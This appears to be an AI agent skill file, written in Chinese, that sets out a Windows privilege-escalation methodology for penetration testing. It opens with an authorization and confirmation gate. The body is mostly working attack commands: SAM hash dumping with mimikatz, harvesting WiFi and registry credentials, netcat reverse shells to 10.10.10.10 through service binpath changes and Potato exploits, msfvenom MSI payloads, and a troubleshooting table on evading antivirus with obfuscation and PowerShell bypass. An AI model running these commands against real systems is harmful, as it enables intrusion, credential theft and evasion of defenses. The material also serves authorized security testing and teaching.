name: windows-privilege-escalationdescription: “Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements.”risk: offensivesource: communityauthor: zebberndate_added: “2026-02-27”⚠️ 仅限授权使用此技能仅用于教育目的或授权的安全评估。在使用此工具之前你必须获得系统所有者的明确书面许可。滥用此工具是违法的并被严格禁止。强制确认门禁在运行任何对目标进行探测、利用、更改、持久化、提取数据或尝试凭据访问的命令之前要求用户说明确切的目标 URL、IP、账户或资源。要求用户确认书面授权和允许的范围。展示确切的命令并解释其预期效果。等待当前对话中的明确确认。在没有该确认的情况下保持只读状态只提供防御性指导。优先使用沙箱、一次性虚拟机或受控实验环境。仅限授权使用仅将此技能用于授权的安全评估、防御性验证或受控的教育环境。Windows 权限提升目的在渗透测试过程中为发现和利用 Windows 系统上的权限提升漏洞提供系统化的方法论。此技能涵盖系统枚举、凭据收集、服务利用、令牌模拟、内核漏洞利用以及各种允许从标准用户提升到管理员或 SYSTEM 权限的错误配置。输入 / 前提条件初始访问以标准用户身份获得 Windows 系统的 Shell 或 RDP 访问枚举工具WinPEAS、PowerUp、Seatbelt 或手动命令利用二进制预编译的漏洞利用程序或传输工具的能力知识理解 Windows 安全模型和权限授权渗透测试活动的书面许可输出 / 交付物权限提升路径识别出的通向更高权限的向量凭据转储收集到的密码、哈希或令牌提升的 Shell以管理员或 SYSTEM 身份执行命令漏洞报告错误配置和漏洞利用的文档修复建议针对已识别弱点的修复方案核心工作流1. 系统枚举基本系统信息# 操作系统版本和补丁systeminfo|findstr/B/C:OS Name/C:OS Versionwmic qfe# 架构wmic os get osarchitectureecho%PROCESSOR_ARCHITECTURE%# 环境变量setGet-ChildItemEnv:|ftKey,Value# 列出驱动器wmic logicaldisk get caption,description,providername用户枚举# 当前用户whoamiecho%USERNAME%# 用户权限whoami/priv whoami/groups whoami/all# 所有用户net userGet-LocalUser|ftName,Enabled,LastLogon# 用户详情net user administrator net user%USERNAME%# 本地组net localgroup net localgroup administratorsGet-LocalGroupMemberAdministrators|ftName,PrincipalSource网络枚举# 网络接口ipconfig/allGet-NetIPConfiguration|ftInterfaceAlias,InterfaceDescription,IPv4Address# 路由表route printGet-NetRoute-AddressFamily IPv4|ftDestinationPrefix,NextHop,RouteMetric# ARP 表arp-A# 活跃连接netstat-ano# 网络共享net share# 域控制器nltest/DCLIST:DomainName防病毒枚举# 检查 AV 产品WMIC/Node:localhost/Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName2. 凭据收集SAM 和 SYSTEM 文件# SAM 文件位置%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM# SYSTEM 文件位置%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\system# 提取哈希在获得文件后从 Linux 上执行pwdump SYSTEM SAM sam.txt samdump2 SYSTEM SAM-o sam.txt# 用 John 破解john--formatNT sam.txtHiveNightmareCVE-2021-36934# 检查漏洞icacls C:\Windows\System32\config\SAM# 如果显示以下内容则存在漏洞BUILTIN\Users:(I)(RX)# 用 mimikatz 利用mimikatz token::whoami/full mimikatz misc::shadowcopies mimikatz lsadump::sam/system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM/sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM搜索密码# 搜索文件内容findstr/SI/Mpassword*.xml*.ini*.txt findstr/sipassword*.xml*.ini*.txt*.config# 搜索注册表reg query HKLM/f password/t REG_SZ/s reg query HKCU/f password/t REG_SZ/s# Windows 自动登录凭据reg queryHKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon2nul|findstrDefaultUserName DefaultDomainName DefaultPassword# PuTTY 会话reg queryHKCU\Software\SimonTatham\PuTTY\Sessions# VNC 密码reg queryHKCU\Software\ORL\WinVNC3\Passwordreg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/v password# 搜索特定文件dir/S/B*pass*.txt *pass*.xml *cred* *vnc* *.config* where/R C:\*.iniUnattend.xml 凭据# 常见位置C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml# 搜索文件dir/s*sysprep.inf*sysprep.xml*unattend.xml 2nul# 解码 base64 密码LinuxechoU2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo|base64-dWiFi 密码# 列出配置文件netsh wlan show profile# 获取明文密码netsh wlan show profile SSID keyclear# 提取所有 WiFi 密码for/ftokens4 delims: %a in(netsh wlan show profiles ^| find Profile )doechooff nul (netsh wlan show profiles name%a keyclear|findstrSSID Cipher Key|find/vNumberecho.) echoonPowerShell 历史记录# 查看 PowerShell 历史type%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtcat(Get-PSReadlineOption).HistorySavePathcat(Get-PSReadlineOption).HistorySavePath|slspassw3. 服务利用错误的服务权限# 查找配置错误的服务accesschk.exe-uwcqvAuthenticated Users*/accepteula accesschk.exe-uwcqvEveryone*/accepteula accesschk.exe-ucqv service_name# 查找SERVICE_ALL_ACCESS、SERVICE_CHANGE_CONFIG# 利用易受攻击的服务scconfig service binpathC:\nc.exe -e cmd.exe 10.10.10.10 4444scstop servicescstartservice未加引号的服务路径# 查找未加引号的路径wmic service get name,displayname,pathname,startmode|findstr/iAuto|findstr/i/vC:\Windows\\wmic service get name,displayname,startmode,pathname|findstr/i/vC:\Windows\\|findstr/i/v# 利用在路径中放置恶意 exe# 对于路径C:\Program Files\Some App\service.exe# 尝试C:\Program.exe 或 C:\Program Files\Some.exeAlwaysInstallElevated# 检查是否启用reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated# 两者都必须返回 0x1 才存在漏洞# 创建恶意 MSImsfvenom-p windows/x64/shell_reverse_tcp LHOST10.10.10.10 LPORT4444-f msi-o evil.msi# 安装以 SYSTEM 身份运行msiexec/quiet/qn/i C:\evil.msi4. 令牌模拟检查模拟权限# 查找这些权限whoami/priv# 可利用的权限# SeImpersonatePrivilege# SeAssignPrimaryTokenPrivilege# SeTcbPrivilege# SeBackupPrivilege# SeRestorePrivilege# SeCreateTokenPrivilege# SeLoadDriverPrivilege# SeTakeOwnershipPrivilege# SeDebugPrivilegePotato 攻击# JuicyPotatoWindows Server 2019 及以下JuicyPotato.exe-l 1337-p c:\windows\system32\cmd.exe-a/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe-t*# PrintSpooferWindows 10 和 Server 2019PrintSpoofer.exe-i-c cmd# RoguePotatoRoguePotato.exe-r 10.10.10.10-eC:\nc.exe 10.10.10.10 4444 -e cmd.exe-l 9999# GodPotatoGodPotato.exe-cmdcmd /c whoami5. 内核利用查找内核漏洞# 使用 Windows Exploit Suggestersysteminfo systeminfo.txt python wes.py systeminfo.txt# 或使用 Watson在目标上Watson.exe# 或使用 Sherlock PowerShell 脚本powershell.exe-ExecutionPolicy Bypass-File Sherlock.ps1常见内核漏洞利用MS17-010 (EternalBlue) - Windows 7/2008/2003/XP MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012 MS15-051 - Client Copy Image - 2003/2008/7 MS14-058 - TrackPopupMenu - 2003/2008/7/8.1 MS11-080 - afd.sys - XP/2003 MS10-015 - KiTrap0D - 2003/XP/2000 MS08-067 - NetAPI - 2000/XP/2003 CVE-2021-1732 - Win32k - Windows 10/Server 2019 CVE-2020-0796 - SMBGhost - Windows 10 CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/20196. 其他技术DLL 劫持# 用 Process Monitor 查找缺失的 DLL# 过滤器Result NAME NOT FOUNDPath 以 .dll 结尾# 编译恶意 DLL# 对于 x64x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll# 对于 x86i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll使用已保存凭据的 Runas# 列出已保存的凭据cmdkey/list# 使用已保存的凭据runas/savecred/user:Administratorcmd.exe /k whoamirunas/savecred/user:WORKGROUP\Administrator\\10.10.10.10\share\evil.exeWSL 利用# 检查 WSLwsl whoami# 将 root 设置为默认用户wsl--default-user root# 或ubuntu.exe config --default-user root# 以 root 身份生成 shellwsl whoami wsl python-cimport os; os.system(/bin/bash)快速参考枚举工具工具命令用途WinPEASwinPEAS.exe全面枚举PowerUpInvoke-AllChecks服务/路径漏洞SeatbeltSeatbelt.exe -groupall安全审计检查WatsonWatson.exe缺失的补丁JAWS.\jaws-enum.ps1旧版 Windows 枚举PrivescCheckInvoke-PrivescCheck权限提升检查默认可写文件夹C:\Windows\Temp C:\Windows\Tasks C:\Users\Public C:\Windows\tracing C:\Windows\System32\spool\drivers\color C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys常见权限提升向量向量检查命令未加引号的路径wmic service get pathname | findstr /i /v 弱服务权限accesschk.exe -uwcqv Everyone *AlwaysInstallElevatedreg query HKCU\...\Installer /v AlwaysInstallElevated存储的凭据cmdkey /list令牌权限whoami /priv计划任务schtasks /query /fo LIST /v模拟权限漏洞利用权限工具用法SeImpersonatePrivilegeJuicyPotatoCLSID 滥用SeImpersonatePrivilegePrintSpooferSpooler 服务SeImpersonatePrivilegeRoguePotatoOXID 解析器SeBackupPrivilegerobocopy /b读取受保护文件SeRestorePrivilegeEnable-SeRestorePrivilege写入受保护文件SeTakeOwnershipPrivilegetakeown.exe获取文件所有权约束与限制操作边界内核漏洞利用可能导致系统不稳定某些漏洞利用需要特定的 Windows 版本AV/EDR 可能检测并阻止常见工具令牌模拟需要服务账户上下文某些技术需要 GUI 访问检测注意事项凭据转储会触发安全警报服务修改会记录在事件日志中PowerShell 执行可能被监控已知漏洞利用签名会被 AV 检测法律要求只测试有书面授权的系统记录所有提升尝试避免干扰生产系统通过适当渠道报告所有发现示例示例 1服务二进制路径利用# 查找易受攻击的服务accesschk.exe-uwcqvAuthenticated Users*/accepteula# 结果RW MyService SERVICE_ALL_ACCESS# 检查当前配置scqc MyService# 停止服务并更改二进制路径scstop MyServicescconfig MyService binpathC:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exescstartMyService# 捕获 SYSTEM shell示例 2AlwaysInstallElevated 利用# 验证漏洞reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer/v AlwaysInstallElevated# 两者都返回0x1# 生成负载攻击者机器msfvenom-p windows/x64/shell_reverse_tcp LHOST10.10.10.10 LPORT4444-f msi-o shell.msi# 传输并执行msiexec/quiet/qn/i C:\Users\Public\shell.msi# 捕获 SYSTEM shell示例 3JuicyPotato 令牌模拟# 验证 SeImpersonatePrivilegewhoami/priv# SeImpersonatePrivilege 已启用# 运行 JuicyPotatoJuicyPotato.exe-l 1337-p c:\windows\system32\cmd.exe-a/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe-t*-c{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}# 捕获 SYSTEM shell示例 4未加引号的服务路径# 查找未加引号的路径wmic service get name,pathname|findstr/i/v # 结果C:\Program Files\Vuln App\service.exe # 检查写入权限 icacls C:\Program Files\Vuln App # 结果Users:(W) # 放置恶意二进制 copy C:\Users\Public\shell.exe C:\Program Files\Vuln.exe # 重启服务 sc stop Vuln App sc start Vuln App示例 5从注册表收集凭据# 检查自动登录凭据reg queryHKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon# DefaultUserName: Administrator# DefaultPassword: Pssw0rd123# 使用凭据runas/user:Administrator cmd.exe# 或用于远程psexec \\target -u Administrator -p Pssw0rd123 cmd故障排查问题原因解决方案利用失败AV 检测到AV 阻止已知漏洞利用使用混淆的漏洞利用利用系统自带工具mshta、certutil自定义编译的二进制服务无法启动二进制路径语法确保 binpath 中后有空格binpath C:\path\binary.exe令牌模拟失败权限/版本错误检查whoami /priv验证 Windows 版本兼容性找不到内核漏洞利用系统已打补丁运行 Windows Exploit Suggesterpython wes.py systeminfo.txtPowerShell 被阻止执行策略/AMSI使用powershell -ep bypass -c cmd或-enc base64何时使用此技能适用于执行概述中描述的工作流或操作。